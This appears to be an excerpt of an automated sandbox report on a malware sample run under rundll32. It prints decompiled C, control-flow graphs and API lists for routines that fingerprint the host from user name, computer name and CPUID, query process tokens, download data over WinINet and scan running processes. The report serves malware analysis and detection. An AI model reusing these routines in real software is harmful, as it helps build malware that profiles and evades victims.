                          • MapViewOfFile.KERNEL32(00000000,00000006,00000000,00000000,00000000,?,?,?,?,00000000), ref: 04C77747
                          • CloseHandle.KERNEL32(00000000,?,?,?,?,00000000,?,?,?,?,?,?,04C73DBA,?,?,4D283A53), ref: 04C77768
                          • GetLastError.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,04C73DBA,?,?,4D283A53,?), ref: 04C77770
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: File$ErrorLastTime$CloseCreateHandleMappingSystemView_aulldiv_snwprintf
                          • String ID:
                          • API String ID: 1814172918-0
                          • Opcode ID: c45b8843869be3cee61070b78a689b37c80e1247f8806fd5954bc61704cc3085
                          • Instruction ID: 446d51be8c995893809790c8f6c96bcee4e4f917ace035fb09090a9187d845ea
                          • Opcode Fuzzy Hash: c45b8843869be3cee61070b78a689b37c80e1247f8806fd5954bc61704cc3085
                          • Instruction Fuzzy Hash: 8B21B7B6641208BFE711AB64DC45F9E77BAEB48754F240021F619E7180E774FE04CB90
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C73365 Relevance: 12.1, APIs: 8, Instructions: 103memoryCOMMON
                          Download Yara Rule

                          Control-flow Graph

                          • Executed
                          • Not Executed
                          control_flow_graph 353 4c73365-4c73379 354 4c73383-4c73395 call 4c72119 353->354 355 4c7337b-4c73380 353->355 358 4c73397-4c733a7 GetUserNameW 354->358 359 4c733e9-4c733f6 354->359 355->354 360 4c733f8-4c7340f GetComputerNameW 358->360 361 4c733a9-4c733b9 RtlAllocateHeap 358->361 359->360 362 4c73411-4c73422 RtlAllocateHeap 360->362 363 4c7344d-4c73471 360->363 361->360 364 4c733bb-4c733c8 GetUserNameW 361->364 362->363 365 4c73424-4c7342d GetComputerNameW 362->365 366 4c733ca-4c733d6 call 4c7708d 364->366 367 4c733d8-4c733e7 HeapFree 364->367 369 4c7342f-4c7343b call 4c7708d 365->369 370 4c7343e-4c73447 HeapFree 365->370 366->367 367->360 369->370 370->363
                          C-Code - Quality: 96%
                          			E04C73365(char __eax, void* __esi) {
				long _v8;
				char _v12;
				signed int _v16;
				signed int _v20;
				signed int _v28;
				long _t34;
				signed int _t39;
				long _t50;
				char _t59;
				intOrPtr _t61;
				void* _t62;
				void* _t64;
				char _t65;
				intOrPtr* _t67;
				void* _t68;
				void* _t69;

				_t69 = __esi;
				_t65 = __eax;
				_v8 = 0;
				_v12 = __eax;
				if(__eax == 0) {
					_t59 =  *0x4c7a310; // 0xd448b889
					_v12 = _t59;
				}
				_t64 = _t69;
				E04C72119( &_v12, _t64);
				if(_t65 != 0) {
					 *_t69 =  *_t69 ^  *0x4c7a344 ^ 0x46d76429;
				} else {
					GetUserNameW(0,  &_v8); // executed
					_t50 = _v8;
					if(_t50 != 0) {
						_t62 = RtlAllocateHeap( *0x4c7a2d8, 0, _t50 + _t50);
						if(_t62 != 0) {
							if(GetUserNameW(_t62,  &_v8) != 0) {
								_t64 = _t62;
								 *_t69 =  *_t69 ^ E04C7708D(_v8 + _v8, _t64);
							}
							HeapFree( *0x4c7a2d8, 0, _t62);
						}
					}
				}
				_t61 = __imp__;
				_v8 = _v8 & 0x00000000;
				GetComputerNameW(0,  &_v8);
				_t34 = _v8;
				if(_t34 != 0) {
					_t68 = RtlAllocateHeap( *0x4c7a2d8, 0, _t34 + _t34);
					if(_t68 != 0) {
						if(GetComputerNameW(_t68,  &_v8) != 0) {
							_t64 = _t68;
							 *(_t69 + 0xc) =  *(_t69 + 0xc) ^ E04C7708D(_v8 + _v8, _t64);
						}
						HeapFree( *0x4c7a2d8, 0, _t68);
					}
				}
				asm("cpuid");
				_t67 =  &_v28;
				 *_t67 = 1;
				 *((intOrPtr*)(_t67 + 4)) = _t61;
				 *((intOrPtr*)(_t67 + 8)) = 0;
				 *(_t67 + 0xc) = _t64;
				_t39 = _v16 ^ _v20 ^ _v28;
				 *(_t69 + 4) =  *(_t69 + 4) ^ _t39;
				return _t39;
			}



















                          0x04c73365
                          0x04c7336d
                          0x04c73371
                          0x04c73374
                          0x04c73379
                          0x04c7337b
                          0x04c73380
                          0x04c73380
                          0x04c73386
                          0x04c73388
                          0x04c73395
                          0x04c733f6
                          0x04c73397
                          0x04c7339c
                          0x04c733a2
                          0x04c733a7
                          0x04c733b5
                          0x04c733b9
                          0x04c733c8
                          0x04c733cf
                          0x04c733d6
                          0x04c733d6
                          0x04c733e1
                          0x04c733e1
                          0x04c733b9
                          0x04c733a7
                          0x04c733f8
                          0x04c733fe
                          0x04c73408
                          0x04c7340a
                          0x04c7340f
                          0x04c7341e
                          0x04c73422
                          0x04c7342d
                          0x04c73434
                          0x04c7343b
                          0x04c7343b
                          0x04c73447
                          0x04c73447
                          0x04c73422
                          0x04c73452
                          0x04c73454
                          0x04c73457
                          0x04c73459
                          0x04c7345c
                          0x04c7345f
                          0x04c73469
                          0x04c7346d
                          0x04c73471

                          APIs
                          • GetUserNameW.ADVAPI32(00000000,?), ref: 04C7339C
                          • RtlAllocateHeap.NTDLL(00000000,?), ref: 04C733B3
                          • GetUserNameW.ADVAPI32(00000000,?), ref: 04C733C0
                          • HeapFree.KERNEL32(00000000,00000000), ref: 04C733E1
                          • GetComputerNameW.KERNEL32(00000000,00000000), ref: 04C73408
                          • RtlAllocateHeap.NTDLL(00000000,00000000), ref: 04C7341C
                          • GetComputerNameW.KERNEL32(00000000,00000000), ref: 04C73429
                          • HeapFree.KERNEL32(00000000,00000000), ref: 04C73447
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: HeapName$AllocateComputerFreeUser
                          • String ID:
                          • API String ID: 3239747167-0
                          • Opcode ID: e459bfc8db49651f0d99a8209333b48d70939e2cf7f23359d7d0b7f2b1bc141b
                          • Instruction ID: 8da66ded5cb2d6cb373529566b3ba2f9383f97b3b726674386ac2fce321b9f0e
                          • Opcode Fuzzy Hash: e459bfc8db49651f0d99a8209333b48d70939e2cf7f23359d7d0b7f2b1bc141b
                          • Instruction Fuzzy Hash: AA310C76A00249EFDB11DFA9DC81B6EB7FAFB48210F514469E915D7210EB35EE01EB20
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CB8FEC Relevance: 10.6, APIs: 7, Instructions: 113stringCOMMON
                          Download Yara Rule

                          Control-flow Graph

                          • Executed
                          • Not Executed
                          control_flow_graph 477 4cb8fec-4cb8ffe 478 4cb9008 477->478 479 4cb9000-4cb9006 477->479 480 4cb900e-4cb9022 call 4cc7ac9 478->480 479->480 483 4cb905e-4cb9088 call 4cbc431 480->483 484 4cb9024-4cb9032 StrRChrA 480->484 491 4cb908a-4cb908e 483->491 492 4cb90a6-4cb90ae 483->492 485 4cb9037 484->485 486 4cb9034-4cb9035 484->486 488 4cb903d-4cb9058 _strupr lstrlen call 4cd0ee0 485->488 486->488 488->483 491->492 494 4cb9090-4cb909b 491->494 495 4cb90b0-4cb90b3 492->495 496 4cb90b5-4cb90d3 CreateEventA 492->496 494->492 497 4cb909d-4cb90a4 494->497 498 4cb9113-4cb911a 495->498 499 4cb9107-4cb910d GetLastError 496->499 500 4cb90d5-4cb90dc call 4cc5e8d 496->500 497->492 497->497 503 4cb9129-4cb912e 498->503 504 4cb911c-4cb9123 RtlRemoveVectoredExceptionHandler 498->504 502 4cb910f-4cb9111 499->502 500->499 506 4cb90de-4cb90e5 500->506 502->498 502->503 504->503 507 4cb90f8-4cb90fb call 4cc00dc 506->507 508 4cb90e7-4cb90f3 RtlAddVectoredExceptionHandler 506->508 510 4cb9100-4cb9105 507->510 508->507 510->499 510->502
                          APIs
                          • StrRChrA.SHLWAPI(060DB5B0,00000000,0000005C,?,?,?), ref: 04CB9028
                          • _strupr.NTDLL ref: 04CB903E
                          • lstrlen.KERNEL32(060DB5B0,?,?), ref: 04CB9046
                          • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,?,?,?), ref: 04CB90C6
                          • RtlAddVectoredExceptionHandler.NTDLL(00000000,04CD076B), ref: 04CB90ED
                          • GetLastError.KERNEL32(?,?,?,?), ref: 04CB9107
                          • RtlRemoveVectoredExceptionHandler.NTDLL(04CF05B8), ref: 04CB911D
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: ExceptionHandlerVectored$CreateErrorEventLastRemove_struprlstrlen
                          • String ID:
                          • API String ID: 2251957091-0
                          • Opcode ID: b180a3ab852ffafbdf5e8fad0633dc642a570f3ad6872a98e6da932e5856ca80
                          • Instruction ID: 19350ab88bbfce66af302f8ccf39618bd4137a7ab05a7dd5715a9c217d20f134
                          • Opcode Fuzzy Hash: b180a3ab852ffafbdf5e8fad0633dc642a570f3ad6872a98e6da932e5856ca80
                          • Instruction Fuzzy Hash: 4D31E9BE901525EFEB109FB8BC88BAE7BAAE70C310F050425E752D7140D63AAD419BD0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CBC431 Relevance: 10.6, APIs: 7, Instructions: 81nativeCOMMON
                          Download Yara Rule
                          APIs
                          • NtOpenProcess.NTDLL(?,00000400,?,?), ref: 04CBC478
                          • NtOpenProcessToken.NTDLL(?,00000008,?), ref: 04CBC48B
                          • NtQueryInformationToken.NTDLL(?,00000001,00000000,00000000,?), ref: 04CBC4A7
                            • Part of subcall function 04CB9394: RtlAllocateHeap.NTDLL(00000000,?,04CC0051), ref: 04CB93A0
                          • NtQueryInformationToken.NTDLL(?,00000001,00000000,?,?), ref: 04CBC4C4
                          • memcpy.NTDLL(?,00000000,0000001C), ref: 04CBC4D1
                          • NtClose.NTDLL(?), ref: 04CBC4E3
                          • NtClose.NTDLL(?), ref: 04CBC4ED
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Token$CloseInformationOpenProcessQuery$AllocateHeapmemcpy
                          • String ID:
                          • API String ID: 2575439697-0
                          • Opcode ID: 4c8d4a9863fc6e5b32260c40b45491ba058978d3e24e9b7d0197756ce37d34f6
                          • Instruction ID: 30c4b287a4bdc2adb7fcfd5a99b220d6b3a990c8ef8cde6d8929f4e3b5da1fd9
                          • Opcode Fuzzy Hash: 4c8d4a9863fc6e5b32260c40b45491ba058978d3e24e9b7d0197756ce37d34f6
                          • Instruction Fuzzy Hash: 4221E5B6901218BBEF01AF95DC45AEEBFBDEF08740F10402AF905E6160D7759B459BE0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C74321 Relevance: 10.6, APIs: 7, Instructions: 81nativeCOMMON
                          Download Yara Rule
                          C-Code - Quality: 38%
                          			E04C74321(char _a4, void* _a8) {
				void* _v8;
				void* _v12;
				char _v16;
				void* _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				void* _v44;
				void** _t33;
				void* _t40;
				void* _t43;
				void** _t44;
				intOrPtr* _t47;
				char _t48;

				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v20 = _a4;
				_t48 = 0;
				_v16 = 0;
				_a4 = 0;
				_v44 = 0x18;
				_v40 = 0;
				_v32 = 0;
				_v36 = 0;
				_v28 = 0;
				_v24 = 0;
				if(NtOpenProcess( &_v12, 0x400,  &_v44,  &_v20) >= 0) {
					_t33 =  &_v8;
					__imp__(_v12, 8, _t33);
					if(_t33 >= 0) {
						_t47 = __imp__;
						 *_t47(_v8, 1, 0, 0,  &_a4, _t43); // executed
						_t44 = E04C76D63(_a4);
						if(_t44 != 0) {
							_t40 =  *_t47(_v8, 1, _t44, _a4,  &_a4); // executed
							if(_t40 >= 0) {
								memcpy(_a8,  *_t44, 0x1c);
								_t48 = 1;
							}
							E04C76C2C(_t44);
						}
						NtClose(_v8); // executed
					}
					NtClose(_v12);
				}
				return _t48;
			}



















                          0x04c7432e
                          0x04c7432f
                          0x04c74330
                          0x04c74331
                          0x04c74332
                          0x04c74336
                          0x04c7433d
                          0x04c7434c
                          0x04c7434f
                          0x04c74352
                          0x04c74359
                          0x04c7435c
                          0x04c7435f
                          0x04c74362
                          0x04c74365
                          0x04c74370
                          0x04c74372
                          0x04c7437b
                          0x04c74383
                          0x04c74385
                          0x04c74397
                          0x04c743a1
                          0x04c743a5
                          0x04c743b4
                          0x04c743b8
                          0x04c743c1
                          0x04c743c9
                          0x04c743c9
                          0x04c743cb
                          0x04c743cb
                          0x04c743d3
                          0x04c743d9
                          0x04c743dd
                          0x04c743dd
                          0x04c743e8

                          APIs
                          • NtOpenProcess.NTDLL(00000000,00000400,?,?), ref: 04C74368
                          • NtOpenProcessToken.NTDLL(00000000,00000008,?), ref: 04C7437B
                          • NtQueryInformationToken.NTDLL(?,00000001,00000000,00000000,00000000), ref: 04C74397
                            • Part of subcall function 04C76D63: RtlAllocateHeap.NTDLL(00000000,00000000,04C75D7B), ref: 04C76D6F
                          • NtQueryInformationToken.NTDLL(?,00000001,00000000,00000000,00000000), ref: 04C743B4
                          • memcpy.NTDLL(?,00000000,0000001C), ref: 04C743C1
                          • NtClose.NTDLL(?), ref: 04C743D3
                          • NtClose.NTDLL(00000000), ref: 04C743DD
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: Token$CloseInformationOpenProcessQuery$AllocateHeapmemcpy
                          • String ID:
                          • API String ID: 2575439697-0
                          • Opcode ID: 67ae24e2d01b4658cccae05ff958bb089e519e00096872548da0bcbcf1cdc04b
                          • Instruction ID: 892c0020f35c40da02af79c4884db2e89e079b89ab6c03c64fca8ff2b5bdb759
                          • Opcode Fuzzy Hash: 67ae24e2d01b4658cccae05ff958bb089e519e00096872548da0bcbcf1cdc04b
                          • Instruction Fuzzy Hash: 122119B5910118BBEF01AF94CC85ADEBFBDEF08750F108012F905A6110D7B59A449BA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C71CA5 Relevance: 9.1, APIs: 6, Instructions: 124filenetworkCOMMON
                          Download Yara Rule
                          C-Code - Quality: 71%
                          			E04C71CA5(void* __eax, void* __ecx) {
				long _v8;
				void* _v12;
				void* _v16;
				void _v20;
				void* __esi;
				void* _t30;
				void* _t38;
				intOrPtr* _t39;
				intOrPtr* _t41;
				int _t45;
				long _t47;
				void* _t54;
				long _t64;
				void* _t67;
				void* _t69;

				_t58 = __ecx;
				_t67 = __eax;
				if( *((intOrPtr*)(__eax + 0xc)) != 0) {
					L2:
					_t30 = _t67;
					_pop(_t68);
					_t69 = _t30;
					_t64 = 0;
					ResetEvent( *(_t69 + 0x1c));
					if(InternetReadFile( *(_t69 + 0x18),  &_v20, 4,  &_v8) != 0) {
						L9:
						if(_v8 == 0) {
							 *((intOrPtr*)(_t69 + 0x30)) = 0;
						} else {
							 *0x4c7a174(0, 1,  &_v12); // executed
							if(0 != 0) {
								_t64 = 8;
							} else {
								_t38 = E04C76D63(0x1000);
								_v16 = _t38;
								if(_t38 == 0) {
									_t64 = 8;
								} else {
									_push(0);
									_push(_v8);
									_push( &_v20);
									while(1) {
										_t41 = _v12;
										_t61 =  *_t41;
										 *((intOrPtr*)( *_t41 + 0x10))(_t41);
										ResetEvent( *(_t69 + 0x1c));
										_t45 = InternetReadFile( *(_t69 + 0x18), _v16, 0x1000,  &_v8); // executed
										if(_t45 != 0) {
											goto L17;
										}
										_t64 = GetLastError();
										if(_t64 == 0x3e5) {
											_t64 = E04C76E40( *(_t69 + 0x1c), _t61, 0xffffffff);
											if(_t64 == 0) {
												_t64 =  *((intOrPtr*)(_t69 + 0x28));
												if(_t64 == 0) {
													goto L17;
												}
											}
										}
										L19:
										E04C76C2C(_v16);
										if(_t64 == 0) {
											_t47 = E04C715CC(_v12, _t69); // executed
											_t64 = _t47;
										}
										goto L22;
										L17:
										_t64 = 0;
										if(_v8 != 0) {
											_push(0);
											_push(_v8);
											_push(_v16);
											continue;
										}
										goto L19;
									}
								}
								L22:
								_t39 = _v12;
								 *((intOrPtr*)( *_t39 + 8))(_t39);
							}
						}
					} else {
						_t64 = GetLastError();
						if(_t64 != 0x3e5) {
							L8:
							if(_t64 == 0) {
								goto L9;
							}
						} else {
							_t64 = E04C76E40( *(_t69 + 0x1c), _t58, 0xffffffff);
							if(_t64 == 0) {
								_t64 =  *((intOrPtr*)(_t69 + 0x28));
								goto L8;
							}
						}
					}
					return _t64;
				} else {
					_t54 = E04C74A85(__ecx, __eax);
					if(_t54 != 0) {
						return _t54;
					} else {
						goto L2;
					}
				}
			}


















                          0x04c71ca5
                          0x04c71ca6
                          0x04c71cac
                          0x04c71cb7
                          0x04c71cb7
                          0x04c71cb9
                          0x04c77395
                          0x04c7739a
                          0x04c7739c
                          0x04c773b3
                          0x04c773e4
                          0x04c773e9
                          0x04c774ac
                          0x04c773ef
                          0x04c773f6
                          0x04c773fe
                          0x04c774a9
                          0x04c77404
                          0x04c77409
                          0x04c7740e
                          0x04c77413
                          0x04c7749b
                          0x04c77419
                          0x04c77419
                          0x04c7741b
                          0x04c77421
                          0x04c77422
                          0x04c77422
                          0x04c77425
                          0x04c77428
                          0x04c7742e
                          0x04c7743f
                          0x04c77447
                          0x00000000
                          0x00000000
                          0x04c7744f
                          0x04c77457
                          0x04c77463
                          0x04c77467
                          0x04c77469
                          0x04c7746e
                          0x00000000
                          0x00000000
                          0x04c7746e
                          0x04c77467
                          0x04c77480
                          0x04c77483
                          0x04c7748a
                          0x04c77490
                          0x04c77495
                          0x04c77495
                          0x00000000
                          0x04c77470
                          0x04c77470
                          0x04c77475
                          0x04c77477
                          0x04c77478
                          0x04c7747b
                          0x00000000
                          0x04c7747b
                          0x00000000
                          0x04c77475
                          0x04c77422
                          0x04c7749c
                          0x04c7749c
                          0x04c774a2
                          0x04c774a2
                          0x04c773fe
                          0x04c773b5
                          0x04c773bb
                          0x04c773c3
                          0x04c773dc
                          0x04c773de
                          0x00000000
                          0x00000000
                          0x04c773c5
                          0x04c773cf
                          0x04c773d3
                          0x04c773d9
                          0x00000000
                          0x04c773d9
                          0x04c773d3
                          0x04c773c3
                          0x04c774b5
                          0x04c71cae
                          0x04c71cae
                          0x04c71cb5
                          0x04c71cc0
                          0x00000000
                          0x00000000
                          0x00000000
                          0x04c71cb5

                          APIs
                          • ResetEvent.KERNEL32(?,00000000,?,00000102,?,?,761F81D0,00000000,00000000), ref: 04C7739C
                          • InternetReadFile.WININET(?,?,00000004,?), ref: 04C773AB
                          • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,04C7593D,00000000,?,?), ref: 04C773B5
                          • ResetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,04C7593D,00000000,?), ref: 04C7742E
                          • InternetReadFile.WININET(?,?,00001000,?), ref: 04C7743F
                          • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,04C7593D,00000000,?,?), ref: 04C77449
                            • Part of subcall function 04C74A85: WaitForSingleObject.KERNEL32(?,00000000,00000000,00000102,?,761F81D0,00000000,00000000), ref: 04C74A9C
                            • Part of subcall function 04C74A85: SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,04C7593D,00000000,?), ref: 04C74AAC
                            • Part of subcall function 04C74A85: HttpQueryInfoA.WININET(?,20000013,?,?), ref: 04C74ADE
                            • Part of subcall function 04C74A85: HttpQueryInfoA.WININET(?,00000016,00000000,00000004,?), ref: 04C74B03
                            • Part of subcall function 04C74A85: HttpQueryInfoA.WININET(?,00000016,00000000,00000004,?), ref: 04C74B23
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: EventHttpInfoQuery$ErrorFileInternetLastReadReset$ObjectSingleWait
                          • String ID:
                          • API String ID: 2393427839-0
                          • Opcode ID: 6096baca8f1b1369e6ab9a8adcab69806280e78ff48682d8bf251e26e296b81d
                          • Instruction ID: 65e0a120f98b7340a7289d4f5274359ea963e5eac15dabc4653854cbc6b93762
                          • Opcode Fuzzy Hash: 6096baca8f1b1369e6ab9a8adcab69806280e78ff48682d8bf251e26e296b81d
                          • Instruction Fuzzy Hash: 27410136640608AFDB219FA5CC04B6EBBBBFF88360F154528E501E7190EB70FA019F50
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC2331 Relevance: 9.1, APIs: 6, Instructions: 94threadmemorynativeCOMMON
                          Download Yara Rule
                          APIs
                          • GetSystemTimeAsFileTime.KERNEL32(?), ref: 04CC235C
                          • HeapCreate.KERNEL32(00000000,00400000,00000000), ref: 04CC2369
                          • NtQueryInformationThread.NTDLL(000000FE,00000009,?,00000004,?), ref: 04CC23F5
                          • GetModuleHandleA.KERNEL32(00000000), ref: 04CC2400
                          • RtlImageNtHeader.NTDLL(00000000), ref: 04CC2409
                          • RtlExitUserThread.NTDLL(00000000), ref: 04CC241E
                            • Part of subcall function 04CC0818: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,04CC2397,?), ref: 04CC0820
                            • Part of subcall function 04CC0818: GetVersion.KERNEL32 ref: 04CC082F
                            • Part of subcall function 04CC0818: GetCurrentProcessId.KERNEL32 ref: 04CC084B
                            • Part of subcall function 04CC0818: OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 04CC0868
                            • Part of subcall function 04CBC7B6: memcpy.NTDLL(00000000,?,?,?,?,?,?,?), ref: 04CBC815
                            • Part of subcall function 04CBA698: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,00000208,00000000,00000000,?,?,04CB7D5E), ref: 04CBA6BE
                            • Part of subcall function 04CC212C: GetModuleHandleA.KERNEL32(?,?,?,?,?,04CB111D,00000000), ref: 04CC214D
                            • Part of subcall function 04CC212C: GetProcAddress.KERNEL32(00000000,?), ref: 04CC2166
                            • Part of subcall function 04CC212C: OpenProcess.KERNEL32(00000400,00000000,?,?,?,?,?,04CB111D,00000000), ref: 04CC2183
                            • Part of subcall function 04CC212C: IsWow64Process.KERNEL32(?,?,?,?,?,?,04CB111D,00000000), ref: 04CC2194
                            • Part of subcall function 04CC212C: FindCloseChangeNotification.KERNEL32(?,?,?,?,04CB111D,00000000), ref: 04CC21A7
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Process$Module$CreateFileHandleOpenThreadTime$AddressChangeCloseCurrentEventExitFindHeaderHeapImageInformationNameNotificationProcQuerySystemUserVersionWow64memcpy
                          • String ID:
                          • API String ID: 2581485877-0
                          • Opcode ID: 1c34412665c3377998136f93c077e74b19b836058fe1ec6c1b9b7909e5da171c
                          • Instruction ID: 68c1c935f53302ce581aff7ef8b4e4337b6d02c9799cabfc58df9721b222dc47
                          • Opcode Fuzzy Hash: 1c34412665c3377998136f93c077e74b19b836058fe1ec6c1b9b7909e5da171c
                          • Instruction Fuzzy Hash: 5931D479E00114EFC712EFB4DC84AAE77B9EB44754B144169E546E7100D734AD44CBE1
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C768BD Relevance: 6.0, APIs: 4, Instructions: 41processCOMMON
                          Download Yara Rule
                          C-Code - Quality: 68%
                          			E04C768BD() {
				char _v264;
				void* _v300;
				void* _t5;
				int _t8;
				intOrPtr _t9;
				int _t15;
				void* _t17;

				_t15 = 0;
				_t5 = CreateToolhelp32Snapshot(2, 0); // executed
				_t17 = _t5;
				if(_t17 != 0) {
					_t8 = Process32First(_t17,  &_v300);
					while(_t8 != 0) {
						_t9 =  *0x4c7a348; // 0x5cd5a8
						_t2 = _t9 + 0x4c7beb0; // 0x73617661
						_push( &_v264);
						if( *0x4c7a12c() != 0) {
							_t15 = 1;
						} else {
							_t8 = Process32Next(_t17,  &_v300);
							continue;
						}
						L7:
						FindCloseChangeNotification(_t17); // executed
						goto L8;
					}
					goto L7;
				}
				L8:
				return _t15;
			}










                          0x04c768c8
                          0x04c768cd
                          0x04c768d2
                          0x04c768d6
                          0x04c768e0
                          0x04c76911
                          0x04c768e7
                          0x04c768ec
                          0x04c768f9
                          0x04c76902
                          0x04c76919
                          0x04c76904
                          0x04c7690c
                          0x00000000
                          0x04c7690c
                          0x04c7691a
                          0x04c7691b
                          0x00000000
                          0x04c7691b
                          0x00000000
                          0x04c76915
                          0x04c76921
                          0x04c76926

                          APIs
                          • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 04C768CD
                          • Process32First.KERNEL32(00000000,?), ref: 04C768E0
                          • Process32Next.KERNEL32(00000000,?), ref: 04C7690C
                          • FindCloseChangeNotification.KERNEL32(00000000), ref: 04C7691B
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: Process32$ChangeCloseCreateFindFirstNextNotificationSnapshotToolhelp32
                          • String ID:
                          • API String ID: 3243318325-0
                          • Opcode ID: 5005d7ca30838d44897f32b71a146f4daaf71bd0538b96c0ac0ea1f5fca4007c
                          • Instruction ID: c1597885cf01d488ef5791784aab5a520c20733fd34398a5f95a81c2897db4a7
                          • Opcode Fuzzy Hash: 5005d7ca30838d44897f32b71a146f4daaf71bd0538b96c0ac0ea1f5fca4007c
                          • Instruction Fuzzy Hash: A3F0BB76301514ABE720AA769C08FEB776DDBC5364F000061EA45D7001FA34FF458661
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC61AE Relevance: 4.7, APIs: 3, Instructions: 168librarynativeloaderCOMMON
                          Download Yara Rule
                          APIs
                          • GetProcAddress.KERNEL32(?,00000318), ref: 04CC61D3
                          • NtWow64QueryInformationProcess64.NTDLL(00000000,00000000,?,00000030,00000000), ref: 04CC61EF
                            • Part of subcall function 04CB9394: RtlAllocateHeap.NTDLL(00000000,?,04CC0051), ref: 04CB93A0
                            • Part of subcall function 04CCA806: GetProcAddress.KERNEL32(?,00000000), ref: 04CCA82F
                            • Part of subcall function 04CCA806: NtWow64ReadVirtualMemory64.NTDLL(00000100,?,?,00000028,00000000,00000000,00000100,00000000,?,?,?,04CC6230,00000000,00000000,00000028,00000100), ref: 04CCA851
